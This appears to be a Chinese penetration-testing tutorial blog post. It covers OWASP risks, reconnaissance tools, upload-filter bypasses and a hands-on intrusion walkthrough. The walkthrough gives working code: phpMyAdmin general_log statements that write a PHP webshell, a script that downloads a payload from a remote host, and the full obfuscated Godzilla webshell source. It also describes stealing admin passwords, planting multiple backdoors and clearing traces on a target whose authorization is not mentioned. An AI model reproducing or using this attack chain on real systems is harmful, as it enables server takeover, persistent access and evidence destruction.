目录
前言:
什么是渗透测试
渗透测试,是为了证明网络防御按照预期计划正常运行而提供的一种机制。不妨假设,你的公司定期更新安全策略和程序,时时给系统打补丁,并采用了漏洞扫描器等工具,以确保所有补丁都已打上。如果你早已做到了这些,为什么还要请外方进行审查或渗透测试呢?因为,渗透测试能够独立地检查你的网络策略,换句话说,就是给你的系统安了一双眼睛。而且,进行这类测试的,都是寻找网络系统安全漏洞的专业人士。
渗透测试的范围:
- 操作系统(windows、solaris、aix、linux等操作系统)
- 应用系统(web、ftp、mail、dns、网盘等应用系统)
- 网络设备(各种防火墙、入侵检测系统、网络路由交换设备)
- 数据库系统(ms-sql、oraacle、mysql、db2等数据库)
- 安全管理(安全管理的规章制度、业务流程等)
渗透测试流程:
明确目标-[信息收集-信息整理-信息分析]-漏洞探测-漏洞验证-获取所需-形成报告 一般会在信息方面所花费的时间大约在渗透测试中占80%
Web应用程序与风险
注入
将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。
失效的身份认证
通常,通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌,或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。
失效的身份认证
通常,通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌,或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。
敏感数据泄露
许多Web应用程序和API都无法正确保护敏感数据,例如:财务数据、医疗数据和PII数据。攻击者可以通过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃或其他犯罪行为。未加密的敏感数据容易受到破坏,因此,我们需要对敏感数据加密,这些数据包括:传输过程中的数据、存储的数据以及浏览器的交互数据。
XML 外部实体(XXE)
许多较早的或配置错误的XML处理器评估了XML文件中的外部实体引用。攻击者可以利用外部实体窃取使用URI文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施拒绝服务攻击。
失效的访问控制
未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。
安全配置错误
安全配置错误是最常见的安全问题,这通常是由于不安全的默认配置、不完整的临时配置、开源云存储、错误的 HTTP 标头配置以及包含敏感信息的详细错误信息所造成的。因此,我们不仅需要对所有的操作系统、框架、库和应用程序进行安全配置,而且必须及时修补和升级它们。
跨站脚本(XSS)
当应用程序的新网页中包含不受信任的、未经恰当验证或转义的数据时,或者使用可以创建 HTML或JavaScript 的浏览器 API 更新现有的网页时,就会出现 XSS 缺陷。XSS 让攻击者能够在受害者的浏览器中执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点。
不安全的反序列化
不安全的反序列化会导致远程代码执行。即使反序列化缺陷不会导致远程代码执行,攻击者也可以利用它们来执行攻击,包括:重播攻击、注入攻击和特权升级攻击。
使用含有已知漏洞的组件
组件(例如:库、框架和其他软件模块)拥有和应用程序相同的权限。如果应用程序中含有已知漏洞的组件被攻击者利用,可能会造成严重的数据丢失或服务器接管。同时,使用含有已知漏洞的组件的应用程序和API可能会破坏应用程序防御、造成各种攻击并产生严重影响。
不足的日志记录和监控
不足的日志记录和监控,以及事件响应缺失或无效的集成,使攻击者能够进一步攻击系统、保持持续性或转向更多系统,以及篡改、提取或销毁数据。大多数缺陷研究显示,缺陷被检测出的时间超过200天,且通常通过外部检测方检测,而不是通过内部流程或监控检测。
Web应用程序技术
安全工具-信息收集
对象
网站操作类型识别方式
- Windows
- Linux
网站指纹识别工具
目录扫描
敏感文件扫描
IP查询
端口扫描
常见端口
- 21-FTP
- 22-SSH
- 23-Telnet
- 25-Mail
- 53-DNS
- 67-DHCP
- 80-HTTP
- 110-POP3
- 135-RPC
- 139-NetBIOS
- 433-HTTPS
- 445-SMB协议
- 3306-MySQL
- 3389-远程桌面
- 1433-MySQL
- 1521-Oracle
Whois查询
package Whois查询工具20;
import net.sf.json.JSONObject;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
public class WhoisCheck {
public static final String DEF_CHATSET = "UTF-8";
public static final int DEF_CONN_TIMEOUT = 30000;
public static final int DEF_READ_TIMEOUT = 30000;
public static String userAgent = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.66 Safari/537.36";
public static final String APPKEY ="*********";//申请API的APPKEY
public static void main(String args[]){
System.out.println("请输出想要查询信息的域名");
Scanner sc=new Scanner(System.in);
String host=sc.next();
whois(host);
}
public static void whois(String host){
String result=null;
String url="http://apidata.chinaz.com/CallAPI/Whois";
Map params = new HashMap();
params.put("domainName",host);
params.put("key",APPKEY);
try{
result =net(url, params, "GET");
JSONObject object = JSONObject.fromObject(result);
if(object.getInt("StateCode")==1){
System.out.println("该域名已经被注册过,详细信息如下:");
System.out.print(object.getString("Result"));
}
else
System.out.println("该域名还未曾被注册过");
}catch (Exception e){
e.printStackTrace();
}
}
public static String net(String strUrl, Map params, String method) throws Exception {
HttpURLConnection conn = null;
BufferedReader reader = null;
String rs = null;
try {
StringBuffer sb = new StringBuffer();
if(method==null || method.equals("GET")){
strUrl = strUrl+"?"+urlencode(params);
}
URL url = new URL(strUrl);
conn = (HttpURLConnection) url.openConnection();
if(method==null || method.equals("GET")){
conn.setRequestMethod("GET");
}else{
conn.setRequestMethod("POST");
conn.setDoOutput(true);
}
conn.setRequestProperty("User-agent", userAgent);
conn.setUseCaches(false);
conn.setConnectTimeout(DEF_CONN_TIMEOUT);
conn.setReadTimeout(DEF_READ_TIMEOUT);
conn.setInstanceFollowRedirects(false);
conn.connect();
if (params!= null && method.equals("POST")) {
try {
DataOutputStream out = new DataOutputStream(conn.getOutputStream());
out.writeBytes(urlencode(params));
} catch (Exception e) {
e.printStackTrace();
}
}
InputStream is = conn.getInputStream();
reader = new BufferedReader(new InputStreamReader(is, DEF_CHATSET));
String strRead = null;
while ((strRead = reader.readLine()) != null) {
sb.append(strRead);
}
rs = sb.toString();
} catch (IOException e) {
e.printStackTrace();
} finally {
if (reader != null) {
reader.close();
}
if (conn != null) {
conn.disconnect();
}
}
return rs;
}
//将map型转为请求参数型
public static String urlencode(Map<String,String> data) {
StringBuilder sb = new StringBuilder();
for (Map.Entry i : data.entrySet()) {
try {
sb.append(i.getKey()).append("=").append(URLEncoder.encode(i.getValue()+"","UTF-8")).append("&");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
}
return sb.toString();
}
}
子域名查询
查询子域名有三种方法:
- 通过爆破子域名进行查询,如 Layer子域名爆破机、subDomainBrute,在线子域名查询网站:https://phpinfo.me/domain/
- 通过查询DNS服务器,查询该域下的解析记录
- 通过HTTPS证书来查询(只适用于https网站) ,如:https://crt.sh/ 就是通过https证书查询子域名
- 通过google查询
空间搜索引擎
信息收集报告
安全工具-漏洞扫描
国外产品
- Acunetix Web Vunerability Scanner
- ArVS
- NexpoSe
- NessU5
- OpenVAS
- Vuls
- nmap
- AppScan
- Burpsuite
- Weblnspect
- Arachnil
- OWASP ZAP ZAP(Zet Attack Proxy)是全球数百名志愿者程序员在积极更新维护的著名渗透测试工具之一。它是一款跨平台的JavaT具,甚至都可以在Raspberry Pi上运行、ZAP在剂览器和Web应用程序之间挡载和检查消息,
- w3af w3af是一个从2006年年底开始的基于Python的开源项目,可用于Linux和Windows系统。w3af能够检测200多个漏洞,包括OWASP top 10中提到的
国内工具
- 智恒联盟WebPecker
- 诺塞科技Pangolin
- 安恒MatriXay 安恒明鉴 WEB应用弱点扫描器
- 绿盟NSFOCUS RSAS 极光远程安全评估系统
SQL注入政击技术
SQLmap
顾名思义,我们可以借助sqLmap对数据库进行渗透测试和漏洞查找。
Pangolin
Pangolin做SQL注入扫描
OWASP XenotixXSS
OWASP的XenotixXSS是一个用于查找和利用跨站点脚本的高级框架,内置了三个智能模糊器,用于快速扫描和结果优化
XSS跨站脚本攻击
反射型XSS:
给用户发送页面或者链接,让用户点击来进行攻击,也叫做“非持久型XSS”。
存储型XSS:
把攻击存放在服务端,可能造成传播(比如博客系统,每个访问该页面的人都有可能被攻击),主动性更强。
比较常见的一种场景就是,黑客写下一篇包含有恶意JavaScript代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的Javascript代码。黑客把恶意的脚本保存到服务器端,所以这种XSS攻击叫做“存储型XSS”。也叫做“持久型XSS”,因为从效果上来说,它存在的时间是比较长的。
DOM型:
本质上是反射型,但是是通过用户点击,修改原本dom元素的属性,构造攻击动作
反射型和dom型区别:
反射型是构造好了攻击动作,然后就等你打开那个页面;dom型也是等你点击,但是不是页面,通过用户动作,把原来的动作注释掉,然后加上自己修改的动作。
上传验证绕过技术
1.客户端验证绕过
很简单啦,直接使用webscarab或者burp修改一下后缀名就行。
2.服务端验证绕过-Content-type检测
若服务端检测文件类型时是检测Content-type的值,也很简单,在webscarab或者burp中修改Content-type。
如php中 if($_FILES['userfile']['type'] != “image/gif”) 即是检测Content-type值。
3.服务端验证绕过-扩展名检测
- a. 寻找漏网之鱼,如fckeditor 2.4.3 或之前版本的黑名单中就可以上传诸如asa,cer之类的文件。
- b. 大小写绕过,如aSp,pHp。
- c. 特别文件名构造。
比如发送的http 包里把文件名改成help.asp. 或help.asp_(下划线为空
格),这种命名方式在windows 系统里是不被允许的,所以需要在burp 之类里进行修改,然
后绕过验证后,会被windows 系统自动去掉后面的点和空格。
- d. IIS或者nginx文件解析漏洞。比如比如help.asp;.jpg 或http://www.xx.com/help.jpg/2.php。
- e. 0×00截断绕过。例如:help.asp .jpg(asp后面为0×00),在判断时,大多函数取后缀名是从后往前取,故能够通过,但是在保存时,却被保存为help.asp。
- f. 双扩展名解析绕过攻击(1)
如果上传一个文件名为help.php.123首先扩展名123 并没有在扩展名blacklist 里,然后扩展名123 也没在Apache 可解析扩展名
list 里,这个时候它会向前搜寻下一个可解析扩展名,或搜寻到.php,最后会以php 执行。
- g. 双扩展名解析绕过攻击(2)这时只要文件名里包含.php,即使文件名是test2.php.jpg 也会以php 来执行。
4 各种攻击方式的相互关系及组合
首先客户端端验证和服务端验证是相互独立的,所以分开绕过就行了,主要难点是在服务端验证的组合上。
文件完整性检测已经包含文件头检测和图像大小及相关信息检测,但不包含文件扩展名检测。它是以加载来作为检测的方式,比如用图像渲染函数去渲染一张图片。文件扩展名检测和文件头检测都是同级的,相互独立,所以如果是文件扩展名+文件头检测可以同时分开绕过。
文件包含漏洞
本地文件包含漏洞:
当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。
远程文件包含漏洞:
本地文件包含和远程文件包含造成漏洞的原因是一样的,当php.ini 中的配
置选项allow_url_fopen和allow_url_include为ON的话,则包含的文件可以
是第三方服务器中的文件,这样就形成了远程文件包含漏洞。
CSRF攻击技术
站内
这种类型的漏洞在一定程度上是由于程序员滥用$__request类变量造成的。(在一般应该使用post和get的时候)[修改密码]
站外
这种类型的漏洞在本质上就是传统意义上的外部提交数据问题。【spam问题:即垃圾留言,垃圾评论,或者带有站外链接的恶意回复】
远程代码执行漏洞
fastjson 远程代码执行漏洞
复现
反弹shell
- 正向反弹
- 反向反弹
XXE原理利用防御
XML DTD
DTD语法
利用方式
防御XXE
判断是否存在XXE漏洞
编辑器漏洞
目录扫描
目录遍历
蜘蛛爬行
暴力猜测
C/S架构暴力猜解
B/S架构暴力猜解
验证码安全
逻辑漏洞
验证机制缺陷
会话管理缺陷
权限管理缺陷
业务逻辑缺陷
登录缺陷
支付逻辑缺陷
API乱用
业务安全问题
篡改型
- 对各类id的篡改
- 对邮箱、手机号的篡改
- 对session的篡改
- 对返回值的篡改
- 对数量、金额的篡改
回显型
跳过型
弱验证
- 校验码弱验证
- 密码重置链接Token弱验证
项目实战
确定目标
收集信息
x.x.x.x
首先常规测试方法一顿怼,目录扫描,端口扫描,js文件,中间件,指纹识别,反正该上的都上。。。。
随手加个路径,报错了,当看到这个界面我瞬间就有思路了
为什么这么说呢,因为之前我就碰见过这样的网站报错, 这是一个php集成环境,叫upupw,跟phpstudy是一样的
upupw --> pmd
phpstudy --> phpmyadmin
突破点
这个集成环境包也有个phpinfo的页面,跟数据库管理界面
u.php
测试一下弱口令
root/root
连接成功后就可以看到phpinfo的页面
好了现在问题变成phpmyadmin拿shell
getshell
三步拿shell
set global general_log='on';
SET global general_log_file='D:/xxxx/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';
当执行第三步的时候页面 卡在执行中。。。没有反应 瞬间感觉不对,可能存在waf
换了个免杀马试试,先写到txt里边看看成否成功
没有任何问题,下面直接写入php文件
可以写入,直接去连接shell
果然有waf,当时写入的时候就感觉到了,不免杀的shell,sql语句执行不了
绕过waf
怼了半天都不知道是什么鬼waf,用下载文件试试
为了避免拦截php代码的waf,我这里远程下载的脚本是利用JavaScript转写php
SET global general_log_file='C:/Users/Administrator/Desktop/UPUPW_AP5.5_64/htdocs/11.php';
SELECT '<script language="php"> $a="http://x.x.x.x:81/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>'
访问11.php 就会生成shell.php
这里的shell也是用了哥斯拉的免杀shell
<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[$i+1&15];
}
return $D;
}
function Q($D){
return base64_encode($D);
}
function O($D){
return base64_decode($D);
}
$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a';
if (isset($_POST[$P])){
$F=O(E(O($_POST[$P]),$T));
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p."");}}
$R=new C();
$R->nvoke($A[0]);
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);
}else{
$_SESSION[$V]=$F;
}
}
尝试了这么多次
进程里没有waf进程
权限是system
脱源码
上传抓密码工具,直接获取管理密码,登上服务器
留后门,清理痕迹
多留几个后门,万一被删
这个网段还有这么多机器
源码
我是一名渗透测试工程师,为了感谢读者们,我想把我收藏的一些网络安全/渗透测试学习干货贡献给大家,回馈每一个读者,希望能帮到你们。
干货主要有:
①2000多本网安必看电子书(主流和经典的书籍应该都有了)
②PHP标准库资料(最全中文版)
③项目源码(四五十个有趣且经典的练手项目及源码)
④ 网络安全基础入门、Linux运维,web安全、渗透测试方面的视频(适合小白学习)
⑤ 网络安全学习路线图(告别不入流的学习)
⑥ 渗透测试工具大全
⑦ 2021网络安全/Web安全/渗透测试工程师面试手册大全
SRC漏洞汇总
网安必看书籍
Web安全学习视频
全套工具包
SRC技术文档
CTF
点击下方即可免费获取全部资料